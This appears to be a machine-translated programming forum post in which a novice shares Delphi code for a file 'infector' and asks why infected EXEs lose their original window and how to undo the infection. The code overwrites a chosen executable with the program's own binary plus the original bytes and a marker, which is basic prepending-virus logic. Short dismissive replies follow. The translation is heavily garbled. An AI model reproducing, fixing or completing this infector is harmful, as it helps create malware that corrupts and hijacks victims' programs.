Home > Back-end >  Troublesome everybody prawn to help me explain this code, novice don't laugh.
Troublesome everybody prawn to help me explain this code, novice don't laugh.

Time:10-10

Here is a DELPHI infected file code, but I very vegetables, use it to try to infected with an EXE file, also with DELPHI plait, run the file after infection, open is the window of the infected program, and the original program window is gone, like didn't run,

By the way, the infected files how to change back to its original state,

Thank you, the code is as follows:

Procedure TForm1. Button1Click (Sender: TObject);
The begin
If OpenDialog1. Execute then
Edit1. Text:=OpenDialog1. FileName;
end;

Procedure TForm1. Copy (s: String);
Var
S1, s2: TMemoryStream;
Id, idd: Longint;
The begin
Id:=$+ StrToInt (' 66666666 ');
S1:=TMemoryStream. Create;
S1. LoadFromFile (paramstr (0));
S2:=TMemoryStream. Create;
S2. LoadFromFile (s);
S2. Seek (4, soFromEnd);
S2. Read (idd, 4);

If idd=id then
The begin
S1. Free;
S2. Free;
ShowMessage (' file has been infected, body, ');
The end;
//else
//the begin
S2. Seek (0, soFromBeginning);
S1. The Seek (0, soFromEnd);
S1. CopyFrom (s2, s2. The Size).
S1. The Seek (0, soFromEnd);
S1. Write (id, 4);
S1. SaveToFile (s);
S1. Free;
S2. Free;
ShowMessage (' file into has successfully infected become ');
//end;
end;
Procedure TForm1. Button2Click (Sender: TObject);
The begin
If Edit1. Text<> "' then
Copy (Edit1. Text)
The else
ShowMessage (' please choose good will, infected files,,, ');
end;

end.

CodePudding user response:

First learn to walk before you run,

CodePudding user response:

The motive...

CodePudding user response:

People and heroes...
  • Related